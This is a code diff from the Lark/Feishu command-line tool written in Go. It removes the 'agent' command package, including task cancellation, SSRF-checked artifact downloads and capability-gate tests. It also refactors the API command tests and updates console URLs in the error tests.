-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	// A task_cancel=false agent never reaches here (gated above); it is wired so
-	// a provider that supports cancel is not silently exempt from the
-	// all-or-nothing scope check.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := p.CancelTask(opts.Cmd.Context(), opts.TaskID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
-// under vfs. A URL-type artifact is SSRF-validated and fetched over a
-// download-hardened client; an inline-bytes artifact is written directly. The
-// output path is validated with SafeOutputPath (relative, within the CWD)
-// before any write.
-func downloadArtifact(opts *taskOptions) error {
-	safePath, err := validate.SafeOutputPath(opts.Output)
-	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
-			WithParam("--output").WithCause(err)
-	}
-
-	// Overwriting a local file destroys its content irreversibly — a high-risk
-	// write. It goes through the same confirmation contract as other --force
-	// gates (config bind): without --force, a would-be overwrite returns
-	// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
-	// symlink at the path counts as existing rather than being followed.
-	if !opts.Force {
-		if _, statErr := vfs.Lstat(safePath); statErr == nil {
-			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
-				"目标文件已存在，覆盖会不可逆地毁掉本地内容: %s", safePath).
-				WithHint("确认要覆盖后加 --force 重跑，或换一个 -o 路径")
-		}
-	}
-
-	ctx := opts.Cmd.Context()
-	art, err := resolveDownload(opts)
-	if err != nil {
-		return err
-	}
-
-	data := art.Bytes
-	if art.URL != "" {
-		data, err = artifactFetch(ctx, opts.Factory, art.URL)
-		if err != nil {
-			return err
-		}
-	}
-
-	if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
-	}
-
-	f := opts.Factory
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		out := f.IOStreams.Out
-		fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
-		fmt.Fprintf(out, "path: %s\n", safePath)
-		fmt.Fprintf(out, "bytes: %d\n", len(data))
-		if art.Mime != "" {
-			fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
-		}
-		// suggested_name is the server-suggested name, for reference only; the
-		// actual on-disk path is already the safePath (-o) above.
-		if art.Name != "" {
-			fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
-		}
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data: map[string]interface{}{
-			"artifact_id":    opts.ArtifactID,
-			"path":           safePath,
-			"bytes":          len(data),
-			"mime":           art.Mime,
-			"suggested_name": art.Name,
-		},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
-// a download-hardened HTTP client from the Factory and reads at most
-// maxArtifactBytes of the body. The artifact host is untrusted external content,
-// so both the URL and the redirect chain are guarded.
-func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
-	if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
-			WithCause(err)
-	}
-	// Artifact bytes come from an untrusted host over the network; require https
-	// so the payload cannot be read or tampered with in transit. The SSRF check
-	// above already rejects private/loopback hosts and non-http(s) schemes, so a
-	// surviving non-https URL is plain-text http.
-	if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https（拒绝明文下载）")
-	}
-	base, err := f.HttpClient()
-	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
-	}
-	client := hardenDownloadClient(base)
-
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
-	if err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
-	}
-	defer resp.Body.Close()
-	if resp.StatusCode != http.StatusOK {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
-	}
-	data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes))
-	if err != nil {
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
-	}
-	return data, nil
-}

cmd/agent/unsupported_test.go

@@ -1,155 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"sync"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// newUnsupProvider builds a stub *Provider driving the command-layer
-// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
-// left UNWIRED (nil), so the command layer's nil-gate must return the typed
-// unsupported_capability before any network access. GetTask is wired to return a
-// task whose IsTerminal deliberately mismatches its State (normalizeTask must
-// re-derive it). Send is wired (core, required by Register) but never called
-// here. There is no capability-refusal code in the provider — "unsupported" is
-// expressed purely by the absent fields.
-func newUnsupProvider() *iagent.Provider {
-	return &iagent.Provider{
-		Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
-			panic("unsup provider: Send should not be called")
-		},
-		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-			// Deliberate mismatch: State is terminal but IsTerminal=false (simulating
-			// a provider that forgot to set it or set it wrong).
-			return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
-		},
-		// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
-	}
-}
-
-// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
-// panics on duplicates). Like the other fakes it leaks into the package-level
-// registry for the remaining tests of this package run.
-var registerFakeUnsupOnce sync.Once
-
-func registerFakeUnsup() {
-	registerFakeUnsupOnce.Do(func() {
-		iagent.Register("fakeunsup", iagent.ProviderInfo{
-			Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newUnsupProvider(), nil },
-			Label:          "test fake (unwired optional capabilities)",
-			AgentRefFormat: "fakeunsup:<agent_id>",
-			AgentIDSource:  "test only",
-			Kind:           iagent.KindInstance,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		})
-	})
-}
-
-// assertUnsupportedCapability pins the full capability-gate contract on err:
-// validation typed, subtype unsupported_capability, exit 2, hint pointing at
-// `agent card <ref>`, and — because the Factory's httpmock registry has zero
-// stubs — no HTTP was issued (any network attempt would have surfaced as an
-// "httpmock: no stub" error instead of the typed one).
-func assertUnsupportedCapability(t *testing.T, err error, ref string) {
-	t.Helper()
-	if err == nil {
-		t.Fatal("an unsupported capability should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card "+ref) {
-		t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
-	}
-	if strings.Contains(err.Error(), "httpmock") {
-		t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
-	}
-}
-
-// TestContextListUnsupportedGated pins the capability gate on `context list`: a
-// provider that does not wire ListContexts returns typed unsupported_capability
-// (exit 2) with the agent-card hint, without any HTTP.
-func TestContextListUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
-}
-
-// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
-// `context delete` path (--yes passes, provider does not wire DeleteContext).
-func TestContextDeleteUnsupportedGated(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &contextOptions{
-		Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
-	}
-	assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
-}
-
-// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
-// provider returning a State/IsTerminal-mismatched task (completed +
-// is_terminal=false) must emit is_terminal=true — the command layer derives
-// the flag from State, the single source of truth.
-func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
-	registerFakeUnsup()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	opts := &taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentTaskGetRun(opts); err != nil {
-		t.Fatalf("task get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["state"] != "completed" {
-		t.Fatalf("data.state should be completed, got %v", data["state"])
-	}
-	if data["is_terminal"] != true {
-		t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
-	}
-}
-
-// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
-// (task list / context get share this helper for their nested Tasks).
-func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
-	ts := normalizeTaskSummaries([]iagent.TaskSummary{
-		{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
-		{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true},    // wrong
-	})
-	if !ts[0].IsTerminal {
-		t.Error("completed summary should derive is_terminal=true")
-	}
-	if ts[1].IsTerminal {
-		t.Error("working summary should derive is_terminal=false")
-	}
-	if normalizeTask(nil) != nil {
-		t.Error("normalizeTask(nil) should be nil-safe")
-	}
-}

cmd/api/api_test.go

@@ -20,13 +20,28 @@ import (
 	"github.com/spf13/cobra"
 )
 
+func newTestApiCmd(f *cmdutil.Factory, runF func(*APIOptions) error) *cobra.Command {
+	cmd := NewCmdApi(f, runF)
+	cmd.SilenceErrors = true
+	cmd.SilenceUsage = true
+	return cmd
+}
+
+func newTestRootCmd() *cobra.Command {
+	return &cobra.Command{
+		Use:           "lark-cli",
+		SilenceErrors: true,
+		SilenceUsage:  true,
+	}
+}
+
 func TestApiCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -54,7 +69,7 @@ func TestApiCmd_DryRun(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run"})
 	err := cmd.Execute()
 	if err != nil {
@@ -77,7 +92,7 @@ func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--params", "null", "--page-size", "50", "--as", "bot", "--dry-run"})
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("--params null with --page-size should not error, got: %v", err)
@@ -98,7 +113,7 @@ func TestApiCmd_BotMode(t *testing.T) {
 		Body: map[string]interface{}{"code": 0, "msg": "ok", "data": map[string]interface{}{"result": "success"}},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
@@ -125,7 +140,7 @@ func TestApiCmd_MissingArgs(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET"}) // missing path
 	err := cmd.Execute()
 	if err == nil {
@@ -138,7 +153,7 @@ func TestApiCmd_InvalidParamsJSON(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--params", "{bad"})
 	err := cmd.Execute()
 	if err == nil {
@@ -151,7 +166,7 @@ func TestApiValidArgsFunction(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	fn := cmd.ValidArgsFunction
 
 	tests := []struct {
@@ -217,7 +232,7 @@ func TestNewCmdApi_StrictModeHidesAsFlag(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu, SupportedIdentities: 2,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	flag := cmd.Flags().Lookup("as")
 	if flag == nil {
 		t.Fatal("expected --as flag to be registered")
@@ -236,7 +251,7 @@ func TestApiCmd_PageLimitDefault(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -255,7 +270,7 @@ func TestApiCmd_ParamsAndDataBothStdinConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--params", "-", "--data", "-"})
 	err := cmd.Execute()
 	if err == nil {
@@ -272,7 +287,7 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return apiRun(opts)
 	})
@@ -297,7 +312,7 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
 		ContentType: "application/octet-stream",
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/drive/v1/files/xxx/download", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
@@ -328,7 +343,7 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users/u123", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err != nil {
@@ -368,7 +383,7 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/im/v1/chats/oc_xxx/announcement", "--as", "bot", "--page-all"})
 	err := cmd.Execute()
 	// Should return an error
@@ -409,7 +424,7 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err != nil {
@@ -448,7 +463,7 @@ func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err == nil {
@@ -483,7 +498,7 @@ func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -549,8 +564,8 @@ func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
 		},
 	})
 
-	root := &cobra.Command{Use: "lark-cli"}
-	root.AddCommand(NewCmdApi(f, nil))
+	root := newTestRootCmd()
+	root.AddCommand(newTestApiCmd(f, nil))
 	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
 	if err := root.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -600,8 +615,8 @@ func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
 		},
 	})
 
-	root := &cobra.Command{Use: "lark-cli"}
-	root.AddCommand(NewCmdApi(f, nil))
+	root := newTestRootCmd()
+	root.AddCommand(newTestApiCmd(f, nil))
 	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	if err := root.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -656,8 +671,8 @@ func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
 		},
 	})
 
-	root := &cobra.Command{Use: "lark-cli"}
-	root.AddCommand(NewCmdApi(f, nil))
+	root := newTestRootCmd()
+	root.AddCommand(newTestApiCmd(f, nil))
 	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := root.Execute()
 	if err == nil {
@@ -721,7 +736,7 @@ func TestApiCmd_JqFlag_Parsing(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -741,7 +756,7 @@ func TestApiCmd_JqFlag_ShortForm(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -760,7 +775,7 @@ func TestApiCmd_JqAndOutputConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--output", "file.bin"})
@@ -791,7 +806,7 @@ func TestApiCmd_JqFilter_AppliesExpression(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test/jq", "--as", "bot", "--jq", ".data.items[].name"})
 	err := cmd.Execute()
 	if err != nil {
@@ -812,7 +827,7 @@ func TestApiCmd_JqAndFormatConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--format", "ndjson"})
@@ -830,7 +845,7 @@ func TestApiCmd_JqInvalidExpression(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", "invalid["})
@@ -859,7 +874,7 @@ func TestApiCmd_PageAll_WithJq(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--jq", ".data.items[].id"})
 	err := cmd.Execute()
 	if err != nil {
@@ -880,7 +895,7 @@ func TestApiCmd_MethodUppercase(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -899,7 +914,7 @@ func TestApiCmd_FileFlagParsing(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -917,7 +932,7 @@ func TestApiCmd_FileAndOutputConflict(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "photo.jpg", "--output", "out.json"})
@@ -934,7 +949,7 @@ func TestApiCmd_FileWithGET(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--file", "photo.jpg"})
@@ -951,7 +966,7 @@ func TestApiCmd_FileStdinConflictWithData(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "-", "--data", "-"})
@@ -974,7 +989,7 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
 	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"POST", "/open-apis/im/v1/images", "--file", "image=" + tmpFile, "--data", `{"image_type":"message"}`, "--dry-run", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
@@ -1015,7 +1030,7 @@ func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
 		},
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/docx/v1/documents/test", "--as", "bot"})
 	err := cmd.Execute()
 	if err == nil {
@@ -1041,7 +1056,7 @@ func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})

cmd/build.go

@@ -8,8 +8,6 @@ import (
 	"io"
 	"io/fs"
 
-	_ "github.com/larksuite/cli/agent"
-	"github.com/larksuite/cli/cmd/agent"
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/completion"
@@ -204,7 +202,6 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
 	rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
 	rootCmd.AddCommand(skill.NewCmdSkill(f))
-	rootCmd.AddCommand(agent.NewCmdAgent(f))
 	if !cfg.skipService {
 		if cfg.serviceCatalog != nil {
 			service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)

cmd/root.go

@@ -565,7 +565,7 @@ func groupRootCommands(root *cobra.Command) {
 		&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
 		&cobra.Group{ID: groupManagement, Title: "CLI management:"},
 	)
-	tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agent": true}
+	tooling := map[string]bool{"api": true, "schema": true, "skills": true}
 	management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
 	for _, c := range root.Commands() {
 		if c.GroupID != "" {

errs/subtypes.go

@@ -12,9 +12,8 @@ const (
 
 // CategoryValidation subtypes
 const (
-	SubtypeInvalidArgument       Subtype = "invalid_argument"       // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
-	SubtypeFailedPrecondition    Subtype = "failed_precondition"    // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
-	SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (agent card / Discoverer gating); exit 2, no request is sent
+	SubtypeInvalidArgument    Subtype = "invalid_argument"    // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
+	SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
 )
 
 // CategoryAuthentication subtypes

errs/types_test.go

@@ -319,7 +319,7 @@ func TestPermissionError_FullChain(t *testing.T) {
 		WithHint("run: lark-cli auth login --scope %q", "mail:user_mailbox.message:send").
 		WithMissingScopes("mail:user_mailbox.message:send").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
+		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=mail:user_mailbox.message:send")
 
 	if got.Category != errs.CategoryAuthorization {
 		t.Errorf("Category = %q, want %q", got.Category, errs.CategoryAuthorization)
@@ -419,7 +419,7 @@ func TestBuilder_WireFormat(t *testing.T) {
 		WithHint("run lark-cli auth login --scope calendar:event:create").
 		WithMissingScopes("calendar:event:create").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
+		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create")
 
 	buf, err := json.Marshal(e)
 	if err != nil {
@@ -439,7 +439,7 @@ func TestBuilder_WireFormat(t *testing.T) {
